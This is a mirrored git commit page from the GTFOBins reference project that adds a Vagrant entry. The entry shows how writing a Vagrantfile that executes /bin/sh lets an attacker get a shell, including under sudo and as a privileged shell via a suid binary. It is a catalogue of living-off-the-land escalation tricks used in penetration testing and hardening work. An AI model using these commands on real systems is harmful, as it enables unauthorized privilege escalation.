mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
Add vagrant
This commit is contained in:
commit
c2bbbd699d
20
_gtfobins/vagrant.md
Normal file
20
_gtfobins/vagrant.md
Normal file
@ -0,0 +1,20 @@
|
||||
---
|
||||
description: This allows to execute [`ruby`](/gtfobins/ruby/) code, other functions may apply.
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
cd $(mktemp -d)
|
||||
echo 'exec "/bin/sh"' > Vagrantfile
|
||||
vagrant up
|
||||
sudo:
|
||||
- code: |
|
||||
cd $(mktemp -d)
|
||||
echo 'exec "/bin/sh"' > Vagrantfile
|
||||
vagrant up
|
||||
suid:
|
||||
- code: |
|
||||
cd $(mktemp -d)
|
||||
echo 'exec "/bin/sh -p"' > Vagrantfile
|
||||
vagrant up
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user